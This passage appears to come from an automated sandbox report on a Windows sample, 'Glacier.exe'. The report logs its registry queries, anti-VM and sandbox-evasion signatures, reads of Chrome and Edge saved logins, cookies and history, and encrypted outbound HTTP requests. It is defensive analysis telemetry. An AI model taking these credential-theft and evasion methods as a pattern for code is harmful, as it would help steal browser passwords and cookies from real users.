file counter 41 database pages 51 1st free page 9 free pages 1 cookie 0x100 schema 4 UTF-8 version-valid-for 41" - Location: [%TEMP%\akg_362d94e6_a.tmp] "akg_362d8eef_5.tmp" has type "SQLite 3.x database last written using SQLite version 3050004 file counter 2 database pages 40 cookie 0x21 schema 4 UTF-8 version-valid-for 2" - Location: [%TEMP%\akg_362d8eef_5.tmp] "akg_362d8ed0_4.tmp" has type "SQLite 3.x database last written using SQLite version 3050004 page size 2048 file counter 5 database pages 75 cookie 0x2d schema 4 UTF-8 version-valid-for 5" - Location: [%TEMP%\akg_362d8ed0_4.tmp] "akg_362d94a7_8.tmp" has type "SQLite 3.x database last written using SQLite version 3050004 file counter 84 database pages 18 1st free page 16 free pages 7 cookie 0x21 schema 4 UTF-8 version-valid-for 84" - Location: [%TEMP%\akg_362d94a7_8.tmp] "akg_362d9488_6.tmp" has type "SQLite 3.x database last written using SQLite version 3050004 page size 2048 file counter 5 database pages 28 cookie 0x1c schema 4 UTF-8 version-valid-for 5" - Location: [%TEMP%\akg_362d9488_6.tmp] "akg_362d9498_7.tmp" has type "SQLite 3.x database last written using SQLite version 3050004 page size 2048 file counter 1 database pages 25 cookie 0xe schema 4 UTF-8 version-valid-for 1" - Location: [%TEMP%\akg_362d9498_7.tmp] "akg_362d8ec0_1.tmp" has type "SQLite 3.x database last written using SQLite version 3050004 page size 2048 file counter 1 database pages 20 cookie 0xb schema 4 UTF-8 version-valid-for 1" - Location: [%TEMP%\akg_362d8ec0_1.tmp] "akg_362d8ed0_3.tmp" has type "SQLite 3.x database last written using SQLite version 3050004 file counter 7 database pages 5 cookie 0x3 schema 4 UTF-8 version-valid-for 7" - Location: [%TEMP%\akg_362d8ed0_3.tmp] "~DFb73.tmp" has type "ASCII text with CRLF line terminators" - Location: [%TEMP%\~DFb73.tmp] "akg_362d8ec0_2.tmp" has type "SQLite 3.x database last written using SQLite version 3050004 page size 2048 file counter 1 database pages 20 cookie 0xb schema 4 UTF-8 version-valid-for 1" - Location: [%TEMP%\akg_362d8ec0_2.tmp] "~DF5f31.tmp" has type "ASCII text with CRLF line terminators" - Location: [%TEMP%\~DF5f31.tmp] "~DF5d0a.tmp" has type "ASCII text with CRLF line terminators" - Location: [%TEMP%\~DF5d0a.tmp] "~DF538a.tmp" has type "ASCII text with CRLF line terminators" - Location: [%TEMP%\~DF538a.tmp]48:T5f0,"Glacier.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\CONTAINERS"; Key: ""; Value: "") "Glacier.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS\DNSCACHE"; Key: ""; Value: "") "Glacier.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\IDS"; Key: ""; Value: "") "Glacier.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\PARAMETERS"; Key: ""; Value: "") "Glacier.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: ""; Value: "") "Glacier.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: ""; Value: "") "Glacier.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS"; Key: ""; Value: "") "Glacier.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\TCPIP"; Key: ""; Value: "") "Glacier.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "Glacier.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\INTERFACES"; Key: ""; Value: "") "Glacier.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: ""; Value: "") "Glacier.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS NT\DNSCLIENT"; Key: ""; Value: "")49:T863,"Glacier.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\CONTAINERS"; Key: "SECUREAUTOPROXY"; Value: "") "Glacier.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\CONTAINERS"; Key: "SENDDNSTOHOST"; Value: "") "Glacier.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: "000604XX"; Value: "") "Glacier.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\PARAMETERS"; Key: "TRANSPORTS"; Value: "") "Glacier.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "Glacier.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "Glacier.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\TCPIP"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "Glacier.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MINSOCKADDRLENGTH"; Value: "") "Glacier.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MAXSOCKADDRLENGTH"; Value: "") "Glacier.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "USEDELAYEDACCEPTANCE"; Value: "") "Glacier.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "9CA335ED-C0A6-4B4D-B084-9C9B5143AFF0"; Value: "") "Glacier.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "703FCC13-B66F-5868-DDD9-E2DB7F381FFB"; Value: "") "Glacier.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "HOSTNAME"; Value: "") "Glacier.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DOMAIN"; Value: "") "Glacier.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "QUERYADAPTERNAME"; Value: "")4a:T58e,The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string) Matched sigs: Able to identify virtual environment by using user activity (API string) Matched sigs: Reference to an external IP address lookup service identified Matched sigs: Able to perform anti-VM checks using CPUID Matched sigs: Able to detect sandbox environment via user account Matched sigs: Able to identify virtual environment using sandbox registry Matched sigs: Able to detect virtual machine (string) Matched sigs: Able to identify virtual/sandbox environment devices Matched sigs: Able to identify virtual/sandbox environment Matched sigs: Able to identify virtual environment using user register activity Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string) Matched sigs: Able to identify virtual environment by using web history Matched sigs: Queries process mitigation policy via NtQueryInformationProcess Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques Matched sigs: Observed a high volume of repeated registry API calls (API Hammering) Matched sigs: Attempts to identify external IP address Matched sigs: The input sample contains the RDTSCP instruction4b:T7f7,"Glacier.exe" trying to access non-existent file "\Device\RasAcd" "Glacier.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\Application" "Glacier.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Login Data-wal" "Glacier.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\akg_362d8ec0_1.tmp-wal" "Glacier.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account-wal" "Glacier.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\akg_362d8ec0_2.tmp-wal" "Glacier.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies-wal" "Glacier.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\akg_362d8ed0_3.tmp-wal" "Glacier.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Web Data-wal" "Glacier.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\akg_362d8ed0_4.tmp-wal" "Glacier.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\History-wal" "Glacier.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\akg_362d8eef_5.tmp-wal" "Glacier.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Login Data-wal" "Glacier.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\akg_362d9488_6.tmp-wal" "Glacier.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account-wal" "Glacier.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\akg_362d9498_7.tmp-wal" "Glacier.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies-wal"4c:T2e98,"Glacier.exe" called "WinHttpSendRequest" with parameters {"hRequest": "22774547020" "dwHeadersLength": "0" "lpOptional": "ab0d389dfba5adeb5e7108c7e0c51b07c7099e27edc870811310f9a51b3b1414" "dwOptionalLength": "32" "dwTotalLength": "32" "dwContext": "0"} "Glacier.exe" called "WinHttpSendRequest" with parameters {"hRequest": "2277457f330" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "0"} "Glacier.exe" called "WinHttpSendRequest" with parameters {"hRequest": "2277457f330" "dwHeadersLength": "0" "lpOptional": "00000000f0c064341a1832cd852bd2e95e8d522b9887fa1933d9bae8498b376a4bdafbb9868acdc8c93b859d7e1619058e0a7f5dd357436852c13f869ce22cd205a5241d034dbf06d7bb122d334079a857a6accfd1221cd54574f9b1ba8d90c558037cc0401cf86b29766130fc58c93cec394fe2a74c0e1cc497b57efc58b46a4431bd36caeaf10a22bc026fbd35ba74c52972f6377ed151e994e2783225a000244a4295c7759f230e866890cce2068fe561271e28e114ad7ec0a4af7f052e31ac0432bdba3d354d82a029964f4d6a5be9a4b6f5c60dd1d41d33865347c100da8577aca3b82f31a007b9720289681e452a602c89e99abf3bce9bf384fded9fc26c89e40c072d5e2cd03c7e83b893bebf6b54539c5a139067feb67568f35da9b7ac8481a7ef6f0548518aeaa66daffac9d3be41b0cced20d5e196fb4b49a7cfc48b82fdb504184a3b1303b87c1857af9a52baefae13a9f9a32b86125fdd66b5e6efe41ac3adf8854c8e3bc94b8e5278529ed69f563cc9a44d5c938db576b54623f98fafa0a84f73514a991b8fda79abffab45ca1462eea7e30b89d145c38b173c1b265bae030982256a2920619b05cc8bfaf833f082e99d5a76458c53bffd0b0a74cf1e7db402161a5ddce0849f2497321c3b401213ad89c23d1af3c566886398d05f8f31c4d72075bb0189ca5c14400398f34c18c58839cfaaa37d0f3145f4c79b88d14ffad0325cad9ed07dbb66022885a2f6cb679a5e4ce3c9e7dc526b8891b330f2571a33bf9b77f75dc102da1c12a540922fdd1ca132debab40951954440d60a7d91a11c4c740477b4b777749dffb563cd9926f8fd390c3e05d19a80351b1f87da71fe5d2b9ab5cb477f9f0778190a54d93e0aedd6c49406b1fb4dc6dba929071070a422531f6f7e86c25f4adcdfe47eebaf2e2c707e39347a98becf6dfa46bd2736403401da3ad05a794f873933b39ada4fe25dfce14b24b1ec39617697fef7657f602e138a9204daee7ace4d99a3fbde28bb7f8c7a4b85ce2b315661f80d89373a6b9a13cc11a7f6981f7635868db4921ece40dcf877043c3112fd107393401f3782c1bd704c8ad2d336ade9f0762f4088a75f1726d6fba23e43c0738aed9fbe301704cfdb44f6e4025371df0f5f3d4d96618c15ba0284b760f71a9d1cabc2b8d171715db0d325de79f4b79663afb896bf638be9e90234ac80e605c044970e6b8112aabdb16d39026ce1d2f929c6153bfd47b615f82adacce32f8da85c4ffd065ffb1fe089c21f3d3aa68b29c4fe6076d4beb7cc37a1cd5bee2b96f4f5964bdb55c618769a9dd0e8bc55594dfdb2059d399a966fb08873f93c4f6edc169e99b5d4a7162b4971adac42c5b3e1ead7a75ca20f42d73c65d25bb7a94a768e1e0b4becdc763cfe0802d4a646c6407238522aeccf1aab35278ca88a1046cf20" "dwOptionalLength": "3125" "dwTotalLength": "3125" "dwContext": "0"} "Glacier.exe" called "WinHttpSendRequest" with parameters {"hRequest": "227745f7100" "dwHeadersLength": "0" "lpOptional": "0100000026d59675f78b9fc515d8e55432a10c9cfd108387ec37c2556e43b5e55667b0f74a77c5051ba72d6aa5f256c0af014f14b879fee0fddf4bb7a64507599f7f24484c940e6c9ce50b24999b8061c0e410ddcbf6939eca81430bf08fb382b5c43ca3975d91100fa01077e93e686ff94459b261c4269041b9525f01f1603aa2751b835791b404663a6ff930ff4eed15d3eb1d5270fe370a32f5a5cd67194bfe133d30fe1e74f96576f690024447a6d4da7c807552058f05c4ab2e9ea6094e529b71b44ce4ab266f87b3692b92becb08045faeec54aab500a07f2d664e4894e0aac62ef1d8627892b7275e7ac3109025d2a52b49adb56f793596674ad9153ae94e773a53194035c28caff4bea7da33cfd34b29311380476ac68aadd4796e545afdb3d5ada09246a2e488005e87d5ccdaf4cb94efdf4c10563ca5f3c2fe98acf7eceaf535d7cbfb7667a18e9f82196afe5de38373488fa9899967f0a62a61013415422d922294bc7131ed5a62fe232d4b6d172ca07583fbce9f094e57f3aead02f67ffae6e48bf5d4a498fda93f8a7406dd30bd3b6856285def7c48745ab62e177f11cf597ea249c29666904a1c663da9e45a83d016878ed07c3545841c45b1cbf5d2804275cd472a49ca97543f2eb24fa23b248a186a9df445d0fcf2f4cced7aaf2ddabc17925f810b9898cbbe8b3745bc06182be25919fc32985f4856effbd0968316e7299ddc971e3436b61e4158c2abe3a846ce491c6e1188e972f9c05b00e32acd59417810d955d48b07cc908a84933f5e2b8b248c0c9b56383dbaf5c6cbf21029a3c6729fb25fefdb3fe7790233900a1a18363255cd365d1763244bf00b1da066ae2c30a771d55edb95e634ac973c334b76c2ad5012471b1282748512411ffe7de7fdeb3938515664538c9e894b163d66255f48d75e5ca2712d7575128c2ff07f6ddf50e082c1993a31d212a462ddeea7eaa03c00bf44df8de98a97895fbdeb088f45d2c3c2a99e4de3fe7e41bbf616f6f1015f528be22869f79508a2e2400135abdb20a8735a23f04176504070bcfbcc53651c6e155071076b79bf47d638bb1f0fc9304f239c6019bd4d2494ef5c3f22abb7aa711b9aa1b09decf356ee6eb073ccdcdb7c287c1e5e99df4efbfa480244e870841939a14eaeb7b59fccfe6e67d16502c0fe771c3aebbd68b5e9707bde168ea59a96bc7aa1f81bea5890cecf080d365ad52b61be8f042173b51142cb406d7b3728e6f57f10010a882ddd5a7acf751117f6e253fe8d7f8745cc9aaee091b4dc43d992a4b7d00782cba5ce88f030a2d36588edbcc0a353305f57bc11ed1769b6f04d5ba97081c6cfd2a73bd7917d519042a56b5fb74c829a04f2aff47e841c614862c2f3c664814b0a8f8bfd325ebbc9e00c46459301c57f9eff6b0353ab5fa81a51759fdb194d47e707f4" "dwOptionalLength": "37734" "dwTotalLength": "37734" "dwContext": "0"} "Glacier.exe" called "WinHttpSendRequest" with parameters {"hRequest": "227745f7100" "dwHeadersLength": "0" "lpOptional": "02000000de9a18bbd7b4d49394d181ca7118ff1c358078a3203592316eb0381f2017e0d922a4cf164dd6ace8764f94758285355e20214c85e98b1cd9e0b084c02e64e3af315d48f78f9723c3f0d10ca6f0325ece8de31c1a84f4bac156b036580ff6ff8b141f39b5a7ad92e05d7a9179ad31cb49959dbf33138dc530c99cef66dc58d7e594d5579b87e30bfe96611c5f6fd959589113a443e04d21d8a5af5a90318fc272df036cd38ed104a67dda90dc74d5f0a540ed" "dwOptionalLength": "182" "dwTotalLength": "182" "dwContext": "0"} "Glacier.exe" called "WinHttpSendRequest" with parameters {"hRequest": "227745963f0" "dwHeadersLength": "0" "lpOptional": "03000000f08e3596416ad08a813dfdc13a2a7a7eddbff423c630c3f5d5a6594a6d8a62c99a55faed36b50cb1acd5c311b488ced83a14d5ea5b7285f251a85ee9ba973952442069ecbfbbfbfe1cfdaf1875a6565db24e71a3db330e1eaa67221f6e1d5984c2d0a504cc99f3633a12de59cf8ccb787a9b8d4af9c55cdfa6612ebd05348fc98184dd84b5c63acd1d137b87337bfafc47e49724ce45a453de757e569eae359ecc8203973a38054287db518a9facb821e72e2765c92982c3068e555375e51ab70af20f934cfe5fae8e129bff267700197969132d1a93db550a52c4aac69298335de90b3c8d5fe4429c81c3259f17cc7ce105cd61e0b7c8fa05e003377b77db815dd3b9bcd3e3ec75fd8b52c8ee5deb05b03d7028f5ca82f3f6efd38e2102447efd3f353e0b3c6626e08887d77dfacdd40f233c273ccbcec123e2cc521c82752f28f151cbdfb671ed1b4804d19977cdedb3eda42480d50230ba88f1a9abad3dbf66ccae54af7c739b30df875be4315acc80587dcccff1a85c7f6210e907d061a241ff963be0e14a52d70bdd671bcbcca43be2b2fd3afb66f35645a10ac9a079d0023b405e8a4bb52916feb655fcc25308726f54e348ee74a0ce3dccce23a3b5e36fcae55334343a7ec5ada0162c664c210ecbe2c120d80636a6b2dd50613c0cd21860af429141ec8358b6db5d31c0ca16ce0a455a30c34c1696f29af3d84b04d923865d586ea79f7273c4d73a0bed64e55f5517d98daa1689bb3e534c9e201bc41e9b907d146af588d176f82322d8d5dbb2ea4a0b0ad3f6a41045788d98bf27d4714470fec4152d356db2a86e57ba4a17f781814ae6de837cce0a0943487b931347c8eca223b466e7063b11ba1e2e70c27a5e70fa40a513ddb3f7d487de8ad56edae1c32957baff97b0d7db5dfb9114e343f516a88d1f5778f99077c407ea84ef93f65920d51f9efd5946427d7274bcd8e5c3e837c312ad3ba61fb7c98533a11af30ddc3317ce845037b5e5af5645cc7e724cd91ea83c78f0414995a092cc0e819bbef3aa0331535798227dc9dd057f15a185e585540b22a2f23718cc6be06c4673e04e531729b16c2422e6a9a48f82f5c2261a6d605aa3b82b736e65338b2316d54adb213ac66e733b11f977ccaddce83408ac2424dddbe2eea16bebe43ef678fb5e9c228d5f5278b764c634258d75af8d3a22468ca117ea9c7f963f6ea0c268185e9fce453341fef7a135dfdb52df431ababe8d6c1d6f28199eeb4d7e7022e7bbbbfaf461ce3bebda6bff77a4c0674df4be02c03cc91526eebba835b0472f9419b18ed24a99fdf0765ed14acc4b443e6f6412aa31780e0f8c89d9d0562e7ed878fde4dd3c83664549cbdaab326b5ebb7c428f9dfe1dc9031b766632e28de1176557b75adcb4f04974043ffe0c5ae8c72acf4ddaa6ead3b1922abd2e" "dwOptionalLength": "4230" "dwTotalLength": "4230" "dwContext": "0"} "Glacier.exe" called "WinHttpSendRequest" with parameters {"hRequest": "227745f09a0" "dwHeadersLength": "0" "lpOptional": "04000000b68dc88126d01ef9438a5279fd11bb205cb57d513e1438aa4f697fd439f63612c69d4dfd1e8586439aac8e4914e78421d95a62b4a5bf793d5cc40be962954b10642fe848a977370e01a2d89a590efb18f21906fdc6a44b035fbde236dc9a84b558df6d4dd464c31f0b3147e6a9d261520dae0a69460ad8b32016ad66b3c7478823c682c2167cdb65513ab996c7ecedada8a79a3717e89b9d707bc7e4147b6db237c50845a6c32f0a41b0a41eabeb5f2190074b08f29cf2ea27699685802c4680fa50fb718414c82732f9e549c80ede3e57b742ae74b8020786cae574a355b5f8b62fb55143fe0a0e83123861687c4256a925270c938bd8432f8082ca6d15dd384194405b1bc18249cef25e23e0cb737a7bd726c9aa05188f326daf30e5f82810582f5eaf300021821c0ffa45fdd09d6c83e0ec5fc44bc96c380caa60eba59f181b36866c025e0c2f0396c40237" "dwOptionalLength": "337" "dwTotalLength": "337" "dwContext": "0"} "Glacier.exe" called "WinHttpSendRequest" with parameters {"hRequest": "227745f09a0" "dwHeadersLength": "0" "lpOptional": "0500000068623800356d3b2480a3fb6487c0a87a5cc7bf7541d71872ac63036669f4060089889a79dae3ad890ce70dbd3f6e198d1cbaa1a08b5ef524363df9ad5e2efe72edf682d29bded415d17bfab49e52dadbee22950917cdd41086c90caf9ccd2c11db66f10aaca2fba4f3604f335f7eb3f2438858beb11e8af0c2148c8eac65d4d7b42e560d4f8f0576372fb854299652dc050577f50e3af0afea3310e76dcf99d2f19357d824f457269e001d1c8db5aecb2bd5a67d12d3e9c43f6a083bbf354eee40fe98c57794f074ceab080b411294b6962e96ae848fb957c288ec6c73e3d9845216d769983693f0672fd5b96289aaff52412b0a6964b05b1d4e6ba86fc6b15356920d792c0aae9efdff2127763a92d701936026c13a60af446d5b9bca664202f64aa9bb416d1d4a2010f0bac2928f09c1599281efb783fb7c9057deb43615950a7628e5d9afda37f0" "dwOptionalLength": "333" "dwTotalLength": "333" "dwContext": "0"} "Glacier.exe" called "WinHttpSendRequest" with parameters {"hRequest": "227745f09a0" "dwHeadersLength": "0" "lpOptional": "060000001e52accd2df040e0f50ccc717afc2c17340a9c0c11d13c972ba7ccdb2826d5f58452b12eef3027128becec00127f2a0d9458effd6c70d2c214f415856016ee733307961ef9c603aa4cbf718e2316158bcf6aa836d4f70433777d124b3169b331079afb8c238156192f510699aba81fd9c1eaa815bfbf3d91b6352aa018d29be7dbbd7aff8322349fe51afe5342c83635b16b54c31214290c8d513b4becac7f6585a9cf41f390b3b8eca3682cbafc63cd8ea0bf0274de3ea57c3dd7466bcb925ab6839bd1b3643f402ae6bbc6868bcf1f5b4206b87e1fef20adca6dd58e24413dd3ced215592064abff52e7251719d70a58eb0e57641a55205048c23bd6f5678cf8d61bdbc869210a9cd96fd9b54de477916b418f00a40800df97ea892083b4347b9774411b4ca80e6f80f1c07e014325564906c9076c2e6c534d9dd06d59f4549d73c7dc34f6a82ba823c8a572e64f0e6e3e612da7eb3d077eb03f7a71b8885c6ffd3c4ab89bd3e22718e96125efa8ac025609efc81750b2453cdb58af24503edb73dfe6a1065f5d7849b26cb338638a4a7ba8926b0c3cb3b1ede1c8320ef27105999fa4d69c4c51091d6da113a1d31c2d9ab88ec3e019d22122564ad1032eff0a965d9be299ef9f33daab8ba442cb6f2502b76d3163829665d06ee8bf054bd6637125a23cbe1330d9e9326ab5ef532117b132fe1f3ffd6492e30874f66df94688e357a608df8e3378fa6a6779d9b86822546b9f6d872feacbc733b61f46cca2b8056889c0b93bf17ab973b8b81e123df89ccfd3d3f8211ab753d9bbae0a1175d41d652e720fd07d769c499e7af4341bac183f6927a4a31224d9386d9e54e9f5ec501af2a82ed7249aaa8eaabcd0c756d63934ca77ec00aaf7cb8f1b8012558b1fad3f77e0dc86aa620d6aab65b3bbcca7f735703d3b00fe4d833132ea32f980b17362c0bab7230ac57b84347e78c86ac6abe4d88b683d2310c51fea78f31096d9a1e0f41414b8ed6607de121b4445a59a167b23cff868ac7c7b65886663210d402dbc7e36235d34ca09c72ade34006fd7be1aff5abddee5a4e9fe3df6e8617565c656828317f85684e0f778df5d6d02c9eaa9ae606e15b156cf07aed2870a2e722bcc33f1d3085a556adebaff0b3ae7d12c4034c89477ba79016d66f8b344f62a8995ce76c9407a36603e224db1ec4f82422be5f82124e75872800506c73c9664ede6e86c90bc06a3e4076a4006dd7d2dfee9f200f6b22b84a56884f9e08f508565a40c0c079fdb2c083b0d41091a71bd52d4702fbcea91203cada5a7eda11402319e113d08b60f1826e5a803d0f76782aa68b67b5674d131f496bea6b38caedb7e85ee8e2d25d84fe40a2298ff595f87cb04bbfcc7f8d2d8c005063aaabcf7f0d7ccade00a2e93c0758cec53338424a070d9aa6c345b180b39bd6f" "dwOptionalLength": "1657" "dwTotalLength": "1657" "dwContext": "0"} "Glacier.exe" called "WinHttpSendRequest" with parameters {"hRequest": "227745f09a0" "dwHeadersLength": "0" "lpOptional": "COMPLETE" "dwOptionalLength": "8" "dwTotalLength": "8" "dwContext": "0"}4d:T511,file/memory contains long string with (Indicator: "WSARecv"; File: "Glacier.exe") file/memory contains long string with (Indicator: "WSASend"; File: "Glacier.exe") file/memory contains long string with (Indicator: "WSAStartup"; File: "Glacier.exe") Found reference to API "syscall.WSASend" (Indicator: "WSASend"; File: "Glacier.exe") Found reference to API "syscall.WSAStartup" (Indicator: "WSAStartup"; File: "Glacier.exe") Found reference to API "syscall.procWSASend" (Indicator: "WSASend"; File: "Glacier.exe") Found reference to API "syscall.procWSAStartup" (Indicator: "WSAStartup"; File: "Glacier.exe") Found reference to API "WSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00001176.00000001.167729.00080000.00000004.mdmp") Found reference to API "syscall.WSASend" (Indicator: "WSASend"; Source: "00000000-00001176.00000001.167729.0118E000.00000002.mdmp") Found reference to API "syscall.WSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00001176.00000001.167729.0118E000.00000002.mdmp") Found reference to API "syscall.procWSASend" (Indicator: "WSASend"; Source: "00000000-00001176.00000001.167729.0118E000.00000002.mdmp") Found reference to API "syscall.procWSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00001176.00000001.167729.0118E000.00000002.mdmp")4e:T581,file/memory contains long string with (Indicator: "WSARecv"; File: "Glacier.exe") file/memory contains long string with (Indicator: "WSASend"; File: "Glacier.exe") file/memory contains long string with (Indicator: "WSAStartup"; File: "Glacier.exe") Found reference to API "WSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00001176-00000C2C-1607014643") Found reference to API "syscall.WSASend" (Indicator: "WSASend"; File: "Glacier.exe") Found reference to API "syscall.WSAStartup" (Indicator: "WSAStartup"; File: "Glacier.exe") Found reference to API "syscall.procWSASend" (Indicator: "WSASend"; File: "Glacier.exe") Found reference to API "syscall.procWSAStartup" (Indicator: "WSAStartup"; File: "Glacier.exe") Found reference to API "WSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00001176.00000001.167729.00080000.00000004.mdmp") Found reference to API "syscall.WSASend" (Indicator: "WSASend"; Source: "00000000-00001176.00000001.167729.0118E000.00000002.mdmp") Found reference to API "syscall.WSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00001176.00000001.167729.0118E000.00000002.mdmp") Found reference to API "syscall.procWSASend" (Indicator: "WSASend"; Source: "00000000-00001176.00000001.167729.0118E000.00000002.mdmp") Found reference to API "syscall.procWSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00001176.00000001.167729.0118E000.00000002.mdmp")4f:T646,file/memory contains long string with (Indicator: "CreatePipe"; File: "Glacier.exe") Found reference to API "ConnectNamedPipe" (Indicator: "ConnectNamedPipe"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp") Found reference to API "CreateNamedPipeA" (Indicator: "CreateNamedPipe"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp") Found reference to API "PeekNamedPipe" (Indicator: "PeekNamedPipe"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp") Found reference to API "ConnectNamedPipeRelaRelay cy c" (Indicator: "ConnectNamedPipe"; Source: "00000000-00001176.00000001.167729.00080000.00000004.mdmp") Found reference to API "CreateNamedPipeARelaRelay cy c" (Indicator: "CreateNamedPipe"; Source: "00000000-00001176.00000001.167729.00080000.00000004.mdmp") Found reference to API "PR_CreatePipe" (Indicator: "CreatePipe"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API "CreatePipe" (Indicator: "CreatePipe"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp")50:T907,file/memory contains long string with (Indicator: "wsastartup"; File: "Glacier.exe") file/memory contains long string with (Indicator: "wsacleanup"; File: "Glacier.exe") file/memory contains long string with (Indicator: "gethostbyname"; File: "Glacier.exe") file/memory contains long string with (Indicator: " send "; File: "Glacier.exe") file/memory contains long string with (Indicator: " socket "; File: "Glacier.exe") Found reference to API "WSAStartup" (Indicator: "wsastartup"; Source: "00000000-00001176-00000C2C-1607014643") Found reference to API "syscall.WSAStartup" (Indicator: "wsastartup"; File: "Glacier.exe") Found reference to API "syscall.procWSAStartup" (Indicator: "wsastartup"; File: "Glacier.exe") Found reference to API "WSAStartup" (Indicator: 